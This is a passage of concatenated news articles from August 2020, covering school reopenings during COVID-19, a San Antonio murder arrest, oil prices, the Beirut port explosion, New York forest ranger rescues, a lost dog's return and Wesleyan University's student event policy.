of districts remain undecided. The situation is fluid, with new decisions announced daily and school districts often changing their minds as the virus spreads or comes under control, and as parents, teachers and politicians debate what is safest for kids, teachers and the broader community. But Burbio found a decided trend toward more virtual learning. "We have seen a dramatic shift to online only learning in the past three weeks," said Burbio co-founder Julie Roche in a news release. "Large districts such as Chicago, and Sun Belt cities such as Houston and Miami along with large suburban districts such as Fairfax County Virginia were all setting plans to return with in-person learning and shifted to fully remote." "We came here on July 10 and we have spent more than 28 days without being given our results yet two PCR testing exercises were conducted. Dr Cephas Fonte came on Tuesday with results for nine returnees and promised to return the following day with the other results but he never came back and is not picking his calls, said Makuyana. Update: A second suspect in the death of a mother of two who was found with severe head wounds at a West Side home was arrested Thursday. Dorian Murphree, 22, faces a capital murder charge, according to San Antonio police. Murphree was arrested without incident at 9 p.m. Thursday near Loop 410 and Callaghan Road. Police had previously arrested Kyle Phillips, 18, in connection with the death of Jasmine Williams, 19. According to an arrest affidavit, three men were seen on neighbors' surveillance video getting out of a vehicle and entering Williams' home. Three witnesses, who were inside the residence when the men entered, told police that Phillips went into Williams' bedroom and demanded money from her. Then the witnesses heard multiple gunshots. The three suspects returned to the vehicle, with the three witnesses, and drove away. The witnesses told police that Murphree was in the vehicle listening to real-time audio from inside the home as the shooting occurred. The men stole two pairs of tennis shoes, a piggy bank full of change, and the victims debit card and phone. A third suspect was not named in the affidavit. Both Phillips and Murphree have been held on $500,000 bonds. Original (Aug.10): A suspect in the death of a mother of two who was found with severe head wounds at a West Side home was arrested Monday. Kyle Phillips, 18, is facing a capital murder charge, according to San Antonio police. On July 14th, Jasmine Williams, 19, was found dead inside her home at 1:15 p.m. in the 8600 block of Limpkin Court after her 51-year-old fiance called police. The man told police he came home to find the garage door open and Williams bloodied and unresponsive in the bedroom. SAPD Chief William McManus said previously the woman had severe head wounds. She was pronounced dead at the scene. Police did not reveal a motive for Williams killing. Williams two daughters, a 2-year-old and a 5-month-old, were inside the home when the incident occurred. Laxman Pai, Opalesque Asia: San Francisco, CA-based venture capital firm Industry Ventures closed Industry Ventures Direct II, at $180m. "The Fund will continue the same strategy of making direct investments into early- and mid-stage technology companies alongside 80 seed and early-stage fund managers backed by the firm," said a press release from the venture capital platform with $3.6 billion under management. According to the release, Industry Ventures has previously invested in more than 100 technology companies directly and through dedicated co-investment funds (SPVs). Seven of these companies have completed IPOs, specifically: Datadog, Fastly, Guardant Health, Instructure, Lifelock, Uber, and Yeahka. Another seven of these companies have achieved private valuations of $1 billion or more: Automattic, Carta, Coupang, Planet, Quizlet, Stripe and Woowa Brothers. "The strong support from our Limited Partners, particularly during COVID lockdowns, underscores the compelling opportunity to invest in digital transformation, which has accelerated as a result of the global pandemic," said Hans Swildens, CEO and Founder of Industry Ventures. Roland Reynolds, Senior Managing Director, added, "Direct II enables our team to increase our exposure to our managers' leading investments and support post-seed and A-round financings. In the competitive world of venture capital, Industry Ventures is distinguished by our unique brand of collaborative support over the lifecycl...................... To view our full article Click here A gas station attendant refills a car at a station in the Saudi capital Riyadh on May 11, 2020. Photo: RANIA SANJAR/AFP via Getty Images Oil prices rose on Monday, amid hopes that the worst may be over for fuel demand. Amin Nasser, chief executive of the worlds biggest oil company Saudi Aramco, told reporters on Sunday: The worst is likely behind us. Nassers sentiment echoes that of the International Energy Agency (IEA), which said last month the worst of the oil market turbulence is behind us. Meanwhile, Iraq last week pledged to cut its oil output by 400,000 barrels per day, which should support prices by restricting supply in the market. Brent futures (BZ=F) were up 0.8% to $44.79 (34.30) per barrel on Monday morning, while crude (CL=F) was up 1.2% to $41.75. The rally buoyed oil stocks. In London, BP (BP.L) was trading 3.5% higher, while Royal Dutch Shell (RDSB.L) was up 2.5%. Shares in Suadi Aramco (2222.SR) were up just 0.3% in Riyadh. Despite its relatively upbeat outlook and a commitment to pay a dividend, the company reported a 73% slump in second quarter earnings. Oil prices have been devastated by the COVID-19 pandemic, which led to collapsing demand for fuel as a result of lockdowns around the world. Crude futures had been trading around $60 per barrel at the start of the year but turned negative for the first time in history in April amid collapsing demand. It came despite production restrictions from OPEC+ nations. The easing of lockdowns around the world has helped to spur demand for oil, driving a mild recovery for prices. However, demand is still well below 2019 levels and analysts dont expect it to recover to pre-pandemic levels for years. READ MORE: Coronavirus: Crisis pushes debt levels at UK firms to highest in 13 years The market is really trading on different bits of news that come out, good and bad, around that demand narrative, said Paul Hickin, associate director of EMEA Oil News at commodities market information provider S&P Global Platts. Hickin said oil had been trading in a tight price range and S&P Global Platts expects prices to struggle to stay above $40 per barrel in the coming months. Story continues Youve got to be careful taking small moves in the market, Hickin said. Really its demand thats the big driver. Where is the market seeing demand going? Theres still huge questions in markets around that. Hickin said declining demand from India and a recent buying spree from China, which could come to an end, could both put downward pressure on prices. Fears about a COVID-19 second wave and increases in production from OPEC+ nations in the coming months are also potential sticking points. He added: Weve still got a huge stock global overhang and if youre talking about rebalancing the market, then that needs to be cleared as well. S&P Global Platts expects the price of Brent to rise to $50 per barrel only by the end of 2021. UBS analyst Jon Rigby and team wrote in a note on Monday: The narrative is still very much focused on the resurgence of coronavirus infections being the main uncertainty around demand balanced with major stimulus packages. The daughter of New York Giant's co-owner Steve Tisch has died on Monday after she attempted suicide over the weekend. Hilary Tisch, 36, passed away in a hospital as her family is left distraught and heartbroken. Steve, son of former Giants owner BobTisch, told TMZ in a statement that Hilary battled depression before she died. Hilary's 'mother, sisters, brothers and I are devastated by her passing. It leaves a hole in our hearts and our lives,' he said, adding that she was 'a kind, caring and beautiful person.' Hilary Tisch (pictured), daughter of New York Giant's owner Steve Tisch, died on Monday via suicide after she made an attempt over the weekend In a statement, Steve Tisch (right) said the Tisch family was 'devastated' and Hilary's (left) death 'leaves a hole in our hearts and our lives' 'She, like so many others, bravely fought the disease of depression for as long as she could.' Sources told the publication that Hilary struggled with depressions for several years. But Hilary spent much of her life helping others through charity work at Operation Smile, a nonprofit medical service that provided more than 220,00 free surgeries to children and young adults born with cleft lips and cleft palates. Hilary was also a successful jewelry designer and gemologist. A Facebook account for Hilary said she graduated from New York University after attending elementary and high school in California. Pictured (left to right): Steve Tisch, Hilary Tisch and Jamie Tisch, Steve's second wife During her life, Hilary was a big supporter and volunteer of Operation Smile, a nonprofit medical service that provided more than 220,00 free surgeries to children and young adults born with cleft lips and cleft palates Hilary Tisch (left and right) was a successful jewelry designer and a gemologist who traveled from coast to coast The Tisch family said they are 'utterly heartbroken and is mourning its tragic loss. We love and will miss her dearly.' Pictured: Hilary Tisch attends NET-A-PORTER x DOEN Launch Dinner at Gjelina on April 29, 2019 A website for the store Doen listed Tisch as the founding partner and creative consultant. Hilary said she had a 'passion for discovering and collecting vintage furniture, objects and beautiful clothing both old and new.' Steve said the entire Tisch family is 'utterly heartbroken and is mourning its tragic loss. We love and will miss her dearly.' Giant's co-owner John Mara released a statement on Monday evening, New York Post reports. 'On behalf of the Mara family and the rest of the Giants organization, I want to express our deepest sympathy to Steve and his family. 'Our hearts are heavy for their loss of Hilary. We pray for their peace and comfort.' Hilary is survived by her father Steve, mother Patsy Tisch, her brother Will Tisch and his wife Grave, Zachary Tisch, Elizabeth Tisch and Holden Tisch. Call the toll-free 24-hour hotline of the National Suicide Prevention Lifeline at 1-800-273-TALK (1-800-273-8255); TTY: 1-800-799-4TTY (4889) After an incredible nine-day journey through the backwoods around Mount Shuksan, Penny, a 3-year-old miniature Australian labradoodle, is back home in Portland. Despite search attempts by rappelling rescue crews, a heat-sensing drone and even a psychics intuition, the 20-pound ball of fluff somehow made it to civilization all on her own. Shes a little fluffy dog that we used to think was a West Hills prima donna but now we know shes a backcountry badass, said her owner, Kim Spiro. Pennys adventure began July 31, when she accompanied Spiro and three of Spiros friends on a backpacking trip in the wilderness west of Mount Shuksan in northern Washington. The group had hiked five miles, and several thousand feet elevation, from the trailhead to their campsite near Lake Ann for a weekend getaway to celebrate Spiros 50th birthday. Penny was leashed during the hike, but Spiro unleashed the dog when they neared the lake. We were hot and sweaty and took off our packs to sit down at the tree line in the shade, she said. I had just unclipped her, not appreciating that we were about 30 feet away from a very, very steep drop off into a 600-foot canyon. Within moments, Spiro said, Penny had kicked up a rock and went chasing after it as it rolled past the tree line and out of sight. And so, too, did Penny. We were calling her name, and we couldnt find her, and I started to panic, Spiro said. We hiked along the ridge about a mile in each direction and we couldnt hear her, and we couldnt see her. Presuming Penny had perished, the group camped overnight and planned to trek back to the trailhead the next day. But the next morning, when Spiro revisited the edge of the ravine where Penny went missing, she heard a faint, distant barking. I dont know if Im hearing a ghost, if its my mind playing tricks on me, but I think I hear her, she said. And one of my friends says, I hear her, too. They hiked the ridge but had no way to get down the ravine and no cell phone reception. They went back to the trailhead, where Spiro called two rescue organizations, Summit to Sound and the Washington State Animal Response Team. Twelve volunteers with the groups went out the following day with dog treats and rope gear in search of Penny, but they had no luck. Spiros brother suggested a drone search and put her in touch with a drone operator and climber out of Seattle. When Spiro reached the drone operator, he was at the vet having to put down his own dog. He said, of course hed help. But a 10-hour search with two drones turned up no sign of the pup. Another friend even contacted a psychic, who sensed Penny was indeed alive and trying to get back to a Chloe, who is Spiros daughter. Meanwhile, in Portland, the Spiros neighbors sent cards, flowers, food and wine as condolences over the loss of Penny. My dog is the mayor of the neighborhood, everyone knows her, Spiro said. So, when we thought she was gone, they sent a letter out to the neighborhood and everyone was devastated. And then, a miracle. Kim Spiro holds her dog Penny, next to, from left, her daughter Chloe, Helaina Hurwitz, who found Penny, and Hurwitz's roommate Erica Eggleton, who helped care for the dog. Sunday morning, nine days after Penny disappeared, Spiro got a call that Penny had been found. I cried, I laughed, at first I didnt believe her, Spiro said. Helaina Hurwitz was meeting up with a group in the wee hours Sunday to climb the Fisher Chimneys at Mount Suskan, when a dog ran in front of one of their cars in the trailhead parking lot. The dog was shivering, whining and lethargic, but quickly jumped into the car. I fell in love with her pretty much immediately, Hurwitz said. The climbers fed the dog canned sardines they had packed for the day, but at 4:30 a.m., the ranger station was closed and they werent sure who to call. We didnt really know what to do, so I offered to not climb and try to take Penny back home with me and then probably to a vet, Hurwitz said. It was a three-hour ride back to Hurwitzs home in Seattle. Once she got there, Hurwitz was able to call the park rangers, who knew about the search for Penny. What a little adventure dog, Hurwitz said. Although, she doesnt look it. Pennys family immediately drove to Seattle for a tear-filled reunion. For the Spiros return to Portland, neighbors lined the streets with welcome signs and banners proclaiming Welcome Home Miracle Penny! Neighbors put up signs welcoming Penny the dog back home. After a trip to the vet, Penny was found to have some broken teeth and a gash down the bottom of her chin. Her owners arent sure exactly how she made it back to the trailhead parking lot, but she may have taken a 15-mile journey following two creeks along untamed forest. If only dogs could talk. This dog has a story to tell, Spiro said. She survived nine days in the backcountry where there are coyotes and cougars and bears I mean, bears! Its insane. Were in disbelief. To Spiro the drone operator, the psychic it just felt like, cosmically, Penny ought to be found. Eventually you start going, all these coincidences arent leading to anything, whats wrong with the universe? Spiro said. And then this little voice would pop in our heads, But maybe shes alive? Maybe were those people? We simultaneously wanted to believe it, but as the days went by, the less hope we had. But were those people! Were in the paper! Were those people! -- Samantha Swindler; sswindler@oregonian.com; @editorswindler Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. The UN agency said it feared the death toll of the 200,000 mostly Syrian refugees living in the city could rise. The United Nations refugee agency says it is working to verify reports that at least 34 refugees are among some 200 people killed in a massive port explosion that devastated Lebanons capital a week ago. The UNHCR said in a statement on Tuesday at least seven refugees have been reported missing following the August 4 explosion, while at least 124 refugees had been reported injured in the blast, 20 seriously. The agency was looking into, but had not immediately independently verified, the reports of 34 refugees killed. We fear the death toll among Beiruts refugee population of some 200,000 could rise further, the UNHCR said. There are more than 884,000 registered Syrian refugees living in Lebanon, with many fleeing the neighbouring countrys ongoing civil war, which began in 2011, according to UNHCR. When accounting for unregistered refugees, that number is about 1.5 million, according to aid groups. Last week, about 2,750 tonnes of ammonium nitrate, which had been stored at Beiruts only port for six years, ignited, causing a devastating blast that destroyed property several kilometres away. Ahmed Staifi said his wife, Khaldiya, and his youngest and oldest daughters Jude, 13, and Latifa, 24 who had fled Syria six years ago had died when the three-storey building where they lived collapsed. Staifi said his family had escaped the war and believed they had found refuge in Lebanon, where he was already living and working as a labourer. My wife had called me and said, Ahmed, Im fleeing the war and coming to you, the Syrian father of four told Reuters news agency. Death followed her here. Beyond the growing death count, the explosion wounded more than 6,000 people and rendered an estimated 300,000 people homeless. The UNHCR said its immediate humanitarian response covers the the entire community, including Lebanese citizens, refugees and migrants workers. It said its first estimates indicate that up to 10,000 vulnerable household have been severely affected and are in need of urgent support. Unrest grows after catastrophe The disaster has also sparked a new series of protests in the country, with many residents already at a breaking point over a protracted economic crisis, corruption, and governmental dysfunction and waste. On Monday, Lebanons Prime Minister Hassan Diab quit along with his cabinet, calling the catastrophe a result of endemic corruption. Many questions remain over why the shipment of ammonium nitrate docked in Beirut in late 2013. Even more quizzical is why such a huge stash of dangerous material, used in bombs and fertilisers, was allowed to remain there for so long. On Tuesday, Reuters news agency, citing a senior security official, reported that a judicial investigation in January had concluded that the dangerous chemicals needed to be secured immediately. The official told the news agency that President Michel Aoun and Diab had been notified in a letter of the possibly catastrophic danger. A spokesman for Diab confirmed that he had received the letter on July 20, and sent it to the Supreme Defence Council for advice. There was no immediate comment by Aoun or the Supreme Defence Council. The letter had followed a string of memos and letters sent to the countrys courts over the previous six years by port, customs and security officials, repeatedly urging judges to order the removal of the ammonium nitrate from its position so close to the city centre, the news agency reported. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, August 11, 2020 11:40 526 6657ac82168da9fa101c8a4066d0fbee 1 National Nadiem-Makarim,MPR,peoples-consultative-assembly,Bambang-Soesatyo,Education-and-Culture-Ministry,remote-learning,school-reopening,COVID-19,pandemic Free Peoples Consultative Assembly (MPR) speaker Bambang Soesatyo has urged the Education and Culture Ministry to reassess its decision to allow the reopening of schools in regions still deemed vulnerable to COVID-19 transmission. He called on the government to prioritize the health and safety of students and teachers, saying that the ministry should have consulted with the national COVID-19 recovery committee and epidemiologists before allowing in-person learning to resume in yellow zones. I urge the government, in this case the Education and Culture Ministry, to thoroughly reassess its policy, and to take into account the feedback from the national COVID-19 recovery committee so as to prevent new COVID-19 [infection] clusters, Bambang said in a written statement on Monday, as quoted by kompas.com. In-person learning, he said, should serve as a last resort only if remote learning proved to be unfeasible. He went on to say that yellow zones, or moderate-risk areas, could potentially turn into areas with higher transmission risks, namely orange or red zones, without strict adherence to existing health protocols. The ministry has previously issued a joint ministerial decree (SKB) along with the Religious Affairs Ministry, the Health Ministry and the Home Ministry that allows the reopening of schools in regions designated as green and yellow zones. Read also: Decision to reopen more schools draws ire from teachers Education and Culture Minister Nadiem Makariem said on Friday that school reopening in green and yellow zones must be done in compliance with the procedures established by the local COVID-19 task force in the respective regions. In-person learning in green and yellow zones is permitted as long as the local COVID-19 task force gives its approval, Nadiem said. Schools may not resume in-person learning if theres no approval from the local administration or parents. He noted a number of online learning hindrances that had made the process less than optimal for students, teachers and parents alike, such as lackluster access to decent internet connection and increased psychological pressure due to isolation. The Federation of Indonesian Teachers Associations (FSGI) criticized the new policy, saying that the change risked creating new infection clusters at schools. The group has received reports of at least 180 teachers and students from across the nation who have tested positive for the virus. Official data shows 57 percent of Indonesian students currently live in red and orange zones, while the remaining 43 percent are in green and yellow zones across 276 cities and regencies. (rfa) Earlier this month, two fire departments, New York state police officers, and forest rangers spent about three hours tracking down two hikers who went missing. The hikers had left their group at Camp Morris in Woodridge for a swim. The Rock Hill Fire Department found their clothing along the riverbank near Denton Falls. They were later found stranded on an island in the middle of the river, south of Denton Falls. That incident and others, which occurred between Aug. 5 to 9, were included in the weekly report by the state Department of Environmental Conservation. All information below was supplied by the DEC. Town of Hunter/ Kaaterskill Wild Forest, Greene County Wilderness Rescue: On Aug. 5 at 3:23 p.m., DECs Central Dispatch notified Region 4 Forest Rangers of a hiker feeling sick at Kaaterskill Falls. Dispatch advised that Assistant Forest Ranger (AFR) France and local EMS were on scene and attempting to locate the hiker. Additional Forest Rangers responded to assist and began hiking into the area to locate the 22-year-old female hiker from Flushing. The subject was located on the yellow trail and evaluated by AFR France and EMS staff. The woman stated that she hiked into the middle pool of the falls via the staircase trail and became nauseated and dizzy. The subjects companion called 911 and began walking back up the staircase trail when the pair were met by AFR France and EMS. The hiker was assisted out to the trailhead on Laurel House Road, where she declined additional medical care. Town of Harrietstown, Franklin County Wilderness Rescue: On Aug. 5 at 3:24 p.m., DECs Ray Brook Dispatch received a call from a man reporting that he was stranded with his wife and two granddaughters (10 and 16 years old) on the shore of Middle Saranac Lake. He stated that the wind was too strong to paddle back the way they came. The caller estimated that the group was about a quarter of a mile north of the outlet of Middle and Lower Saranac lakes. Forest Ranger DiCintio responded to assist with the help of DEC Operations staff. Two boats were deployed to the stranded canoeists location, one to transport the group of four and the other to tow their canoe and two kayaks. At 6:13 p.m., Ranger DiCintio advised that the group from Cincinnati, Ohio, had been dropped off at the South Creek boat launch where their vehicle was located. Town of Thompson, Sullivan County Wilderness Rescue: On Aug. 6 at 8:20 p.m., the Rock Hill Fire Department requested DEC assistance to search for two hikers in the Neversink Unique Area. Forest Ranger Franke responded, arriving on scene at 9 p.m. A group of approximately 100 individuals staying at Camp Morris in Woodridge hiked into the area and at approximately 4:45 p.m., two of the individuals went swimming at Denton Falls. One of the members of the group watched as the current swept the swimmers down river and he returned to the camp without reporting the incident. At 8:05 p.m., the two hikers were reported missing. Rock Hill Fire Department searched along the trails and located two sets of clothing along the riverbank near the falls. New York State Police Aviation flew over the river with negative results. State Police also searched the ground and the Town of Fallsburg Police K-9 tracked the clothing to the water. Forest Ranger Franke dispatched four search crews to search the riverbanks and the blue trail that runs parallel to the river. At the same time, New York State Police monitored the Neversink River from the Oakland Valley Bridge and the Forestburgh Fire Department monitored the river from Eden Road. At approximately 12:15 a.m., Forest Ranger Stratton located the two hikers on an island in the middle of the river, south of Denton Falls. Rock Hill Fire Department swiftwater gear (personal floatation devices, throw bags, rope, and shoes) was dispatched to the Rangers to use in the rescue. Forest Rangers Stratton, Cowart, and Rusher and two Rock Hill Fire Department members performed a wedge formation, a swiftwater technique, to cross the Neversink River and rescue the stranded hikers. The hikers had no injuries and hiked out to a waiting UTV. The subjects were evaluated by Hatzalah EMS and transported to the trailhead at 3:45 a.m. Town of Hunter, Greene County Wilderness Rescue: On Aug. 8, a 44-year-old man was laying on the ground next to the yellow trail on his way back from Kaaterskill Falls. The man, recovering from COVID-19, lost consciousness after not getting enough oxygen. Family members waved down Assistant Forest Ranger Lassalle who called Forest Ranger Bink and Lt. Pachan. The Rangers arrived on scene and medically evaluated the ill hiker. After some rest, the hiker was able to slowly walk back to the Laurel House trailhead with assistance from the Forest Rangers. Once at the trailhead, Hunter Ambulance evaluated the man and he declined further medical care. Town of Indian Lake, Hamilton County Wilderness Rescue: On Aug. 8 at 5:40 p.m., Hamilton County 911 transferred a call to DECs Ray Brook Dispatch reporting a hiker on Snowy Mountain who was having trouble breathing and unable to hike back out. Coordinates placed the 29-year-old hiker from Herkimer near the top of the mountain. Forest Ranger Lt. Ganswindt requested Rangers Milano and Scott to head in and assess the situation as the hikers condition was reportedly deteriorating. New York State Police Aviation was put on standby and Forest Rangers Thompson, Kerr, and Nally were requested to be available for a possible carry out. At 7:45 p.m., Rangers were with the hiker who was reportedly feeling better and able to slowly start back down the mountain. At 11:59 p.m., they were out of the woods and the hiker was evaluated by Indian Lake EMS. Town of Clifton, St Lawrence County Wilderness Search: On Aug. 9 at 12:20 p.m., while patrolling the Cranberry Lake Campground, a 34-year-old man from Port Jefferson flagged down Forest Ranger Baldwin reporting his 10-year-old son had been missing for an hour. Ranger Baldwin immediately radioed the campground entrance booth to close and lock the gates. Ranger Baldwin organized the campground staff to begin a systematic search of all campground loops, bathrooms, and the beach and playground areas. Forest Ranger Lt. Murphy contacted the St. Lawrence County 911 Center to have Cranberry Lake Fire Department respond with their boat and dive team and then contacted New York State Police to have investigators and a K-9 bloodhound dog team respond to assist. At 12:45 p.m., searchers located the boy in another area of the campground, uninjured. Town of Hunter, Greene County Wilderness Rescue: On Aug. 9 at 1:30 p.m., a 15-year-old girl from Queens was rescued from the Kaaterskill Clove. The subject had jumped off a six-foot-high rock into the swimming hole and a family member who jumped in right after her landed on her. The girl swam to the edge of swimming hole and told family she was experiencing back pain and did not want to move. Her family called Greene County 911 requesting medical assistance and units in the area responded. Forest Ranger Dawson and a New York State Trooper hiked in and located the girl. Ranger Dawson provided medical care and determined the girl had to be immobilized in a SKED and vacuum mattress. The girl was carried out with the assistance of low-angle technical rope rescue systems. The Greene County medics determined the girl should be airlifted to the hospital. She was transported by Hunter Ambulance to the staged helicopter and Lifenet transported her to a local hospital for further medical treatment. The incident concluded at 3:30 p.m. Town of Hardenburgh, Ulster County Wilderness Search: On Aug. 9 at 9:14 p.m., an operator from the International Emergency Response Center contacted the Forest Ranger Emergency Line for an activation received from a SPOT beacon. There were no messages received, only the SOS beacon. Coordinates placed the beacon at the west side of Alder Lake. At approximately 10:29 p.m., Forest Ranger Stratton arrived at Alder Lake and hiked in to locate the person. At 10:50 p.m., contact was made with the owner of the beacon, who set the beacon off because of a bear in her campsite eating her food. Ranger Stratton educated the camper on proper food storage and no further action was needed. For more information on avoiding human/bear conflicts visit DECs website. Statewide New York State COVID-19 Response: DEC personnel from across agency divisions and regions across New York continue to support the States response to the COVID-19 public health crisis. Personnel from more than 20 New York State agencies are working on response efforts to stop the spread of COVID-19. DEC Forest Rangers expertise in the Incident Command System (ICS) and experience in applying ICS to wide area searches and large wildland fire have made them a key part of this statewide effort. More NYup.com Look what I caught! Awesome, cute fishing photos of Upstate NY youngsters Where on your body are you most likely to find a tick? Upstate study has the answer First Skaneateles Lake harmful algal bloom of the summer spotted at lakes northern end BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - French stocks advanced on Tuesday, with positive German economic sentiment figures and hopes for an agreement in the United States on more coronavirus-related economic stimulus helping underpin investor sentiment. The German ZEW Economic Sentiment index rose to 71.5 points in August from 59.3 reported in July. The benchmark CAC 40 jumped 121 points, or 2.5 percent, to 5,032 after gaining 0.4 percent the previous day. Automaker Renault surged 4.1 percent and Peugeot rallied 3.8 percent after data showed China's auto sales rose by an annual 16.4 percent in July in a sign of sustained recovery for the industry's biggest global market. Vivendi rallied 3.3 percent. The mass media conglomerate and Amber Capital have agreed to sign a pact regarding Lagardere. The companies will initiate steps in this framework with Lagardere to each seek a minority Supervisory Board representation of three members for Amber Capital and one member for Vivendi. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. The California Capitol in Sacramento is shown. Assemblyman Miguel Santiago (D-Los Angeles) has called for a new tax on the richest Californians. ( Los Angeles Times) To the editor: Columnist Nicholas Goldberg does not account for an important fact about the newest proposed tax increase on the wealthiest Californians: It would affect people outside the state. My wife has been asking me for years to move to California, but all of my advisors are pushing hard against it. I looked at starting in California the kind of small but successful businesses that I have in the past, and the expense and regulatory burden was formidable. Add the tax burden, and it made a really difficult argument for your state. Government does not create wealth workers do, and all government can do is redistribute it. More efficient governments win. Continuous tax increases cannot succeed. Jan Otto, Denver .. To the editor: I couldn't agree more with Goldberg. The amount of "lost" income for the state's highest earners would hardly be a blip on their balance sheets compared to the state's need for resources to combat poverty, homelessness and other inequities. If not taxes, then what? Let the less fortunate roam the streets? What kind of society would we become if we are resistant to stepping up during the most difficult of times? As a longtime L.A. Times subscriber, I see your real estate supplement that features dozens of listings of homes on the market for many millions of dollars, and for rental fees as high as $25,000 per month. Wealthy buyers swoop in to acquire these properties, while just miles away there can be found people living on the streets. Rick Cohen, Avila Beach, Calif. Student Events This policy covers student-sponsored events. All student-led/student-sponsored events must be registered with the Office of Student Involvement via WesNest. All requests, with the exception of wood frame parties (see Hosting a Wood Frame Party), must be through a WSA-recognized student organization or Greek organization/society. Specifically excluded from this policy are meetings and rehearsals, organized by student groups and limited to Wesleyan students. Students may make reservations for meetings and rehearsals in Room Request (EMS), via your WesPortal, at least three business days in advance. To determine if an event is high or low risk, any combination of the following factors may be used: High Risk: An estimated 150 people in attendance for a residential or non-residential space. Event will be open to persons who are not Wesleyan students. The event is cosponsored/cohosted with an off-campus organization. An artist/speaker(s) with a large following and/or who is considered controversial is performing. Attendees may arrive to the event under the influence of alcohol and/or other drugs. There is an expectation for attendees to be lively participants of the event, no formal agenda or program planned. Low Risk: Fewer than 150 people estimated for attendance in a residential or non-residential space. The venue has fixed seating. Closed organizational meetings and events that are limited to only Wesleyan students. The intention of the event is for educational, rather than social, purposes. Event Levels All events fall under one of the three statuses outlined below. Level 1 Level 1 events are defined as small-scale, low risk, campus events where fewer than 150 Wesleyan students will be present and no outside guests are permitted. The student group hosting the event must submit and register the event through WesNest no less than 14 business days in advance. Examples of small-scale events are lectures, movies, or coffeehouses. Level 2 Level 2 events are defined as medium-scale, higher risk, campus events at which 150 people or fewer will be in attendance. These events may or may not have guests and security may be required. Examples of level 2 events are after-parties or a dance showcase/ performance. The student group hosting the event must submit and register the event through WesNest no less than 14 business days in advance. Level 3 Level 3 events are defined as large-scale, very high risk, campus-wide events where 150 or more attendees are expected to be in attendance. Depending on the event, guests may, or may not, be permitted. These events typically require security presence. Examples of level 3 events are parties in collaboration with an outside organization or a concert with an artist who has a large following. The student group hosting the event must register and submit the event through WesNest and meet with a professional staff member in Student Involvement to discuss logistics no less than 30 days prior to the event date. Certain events will require the use of wristbands, which Student Involvement can supply. If the event is open to other colleges, Student Involvement will need to approve prior to advertising the event on other campuses. Event Spaces Events happen in the following spaces: Program Houses/Residential Spaces including WestCo Courtyard and the Butterfields Courtyard (this does not include wood frames or lounges) with approval from the House Manager and/or Area Coordinator. The student group hosting the event must submit and register the event through WesNest no less than 14 business days in advance for all spaces within residential areas. Classrooms (e.g., Fisk, PAC, Exley) Usdan (includes Huss Courtyard and Lawn) Fayerweather (Beckham Hall and practice rooms) Russell House Allbritton Foss Hill Memorial Chapel Zelnick Pavilion CFA (Please note, the CFA has a separate request and approval process. For more information, please contact the CFA.) General Guidelines This Policy is In Effect Throughout the Year Student events must be sponsored by a WSA-recognized student organization. Event hosts must complete host training prior to the event. Wesleyan Public Safety has the discretion to return any event to its permitted capacity or end events when they are out of compliance, unsafe, or after receiving two complaints about noise or disruptive behavior. The group is responsible for cleaning up after the event. Failure to adhere to the guidelines in the policy may result in judicial referrals or fines. Guest Policy In addition to the Guest Policy posted in the Student Handbook, guests must arrive to events with their Wesleyan host and carry with them picture identification. Event hosts will collect the guests ID along with the Wesleyan hosts Wes ID and will hold these while they are attending the event. Quiet Hours It is expected that all students respect the rights of others. Quiet hours are as follows: SundayThursday quiet hours are 11 p.m. to 8 a.m. In residential spaces, events must conclude by 11 p.m. In non-residential spaces, events must conclude by 1:30 a.m. FridaySaturday quiet hours are 2 a.m. to 10 a.m. Therefore, all events must conclude by 2 a.m. However, in consideration of Middletown residents who live in the area, all noise and guests must be contained to inside the residential facility by 1 a.m. Students are expected to observe courtesy hours at all times and be mindful to ensure that the noise levels do not interfere with, or negatively impact, other students/the community. Courtesy hours are 24 hours a day, 7 days a week. If another person asks you to control the noise level, you are required to comply with the request. During reading and final exam periods, quiet hours are in effect 24 hours a day. The 24-hour quiet-hour period begins on the last day of classes at 11:59 p.m. until the last day of finals. Spring Fling, which occurs the day after the last day of classes in the Spring term, is the final event of the year. Level 2, 3, and 4 events will not be approved after Spring Fling. Sound Guidelines for Outdoor Events Amplified sound before 5 p.m. is not allowed Monday through Friday, or prior to 11 a.m. on Saturday and Sunday. Any amplified sound that is approved Sunday through Thursday in the center of campus may be approved until 10 p.m.; on the periphery of campus it may be approved until 9 p.m. barring any noise complaints, which could result in an earlier end time. Any amplified sound that is approved Friday and Saturday anywhere on campus may not continue later than 11 p.m. in the center of campus and 10 p.m. on the periphery of campus barring any noise complaints. Orientation Due to the numerous events provided to encourage a shared experience during New Student Orientation, events may not take place prior to the start of class. Level 1 events can take place after classes begin. Level 2 and 3 events will not be approved until the following Monday after the first day of classes begins. Host Training All events require that the event organizer is host trained. The host training course must be completed EACH YEAR. The course can be accessed through WesNest. All questions about host training may be directed to involvement@wesleyan.edu. Registering an Event All events must be registered through WesNest. Please refer to the event levels for deadlines for submission. Events that involve any external artist or a paid vendor (e.g., band or inflatable) must follow the guidelines set forth in the Contract Request Policy. Alcohol at Events When events are registered as alcohol-free, hosts will be responsible for ensuring that no alcohol is present. If alcohol is to be part of the event, the event host will be responsible for ensuring that any alcohol at the event is legally procured, dispensed, and consumed. Having alcohol at student organization-sponsored events is up to the discretion of the University. If an event with alcohol is approved, students must follow the alcohol guidelines below: A state liquor permit is required any time a recognized student group is selling or distributing (serving) alcohol. Event host(s) must be at least 21 years old. In compliance with Connecticut State Law, alcohol may only be served to event attendees who are of legal drinking age and present a valid government or state ID. Organizers should have a well-designed plan to manage control of the alcohol. Organizers should plan to have an appropriate amount of alcohol based upon the number of attendees of legal drinking age. As a guideline, responsible consumption is one standard drink per hour; a standard drink is 12 . oz. of regular beer, 5 . oz. of table wine, or 1.5 fl. oz. of hard liquor. Whenever alcohol is served, the hosts must provide ample snacks and non-alcoholic beverages. Designated event hosts, door monitors, bartenders, and event staff cannot consume alcohol during the event. Events with alcohol will be considered level 3 events. The student group hosting the event must register and submit the event through WesNest and meet with a professional staff member in Student Involvement to discuss logistics no less than 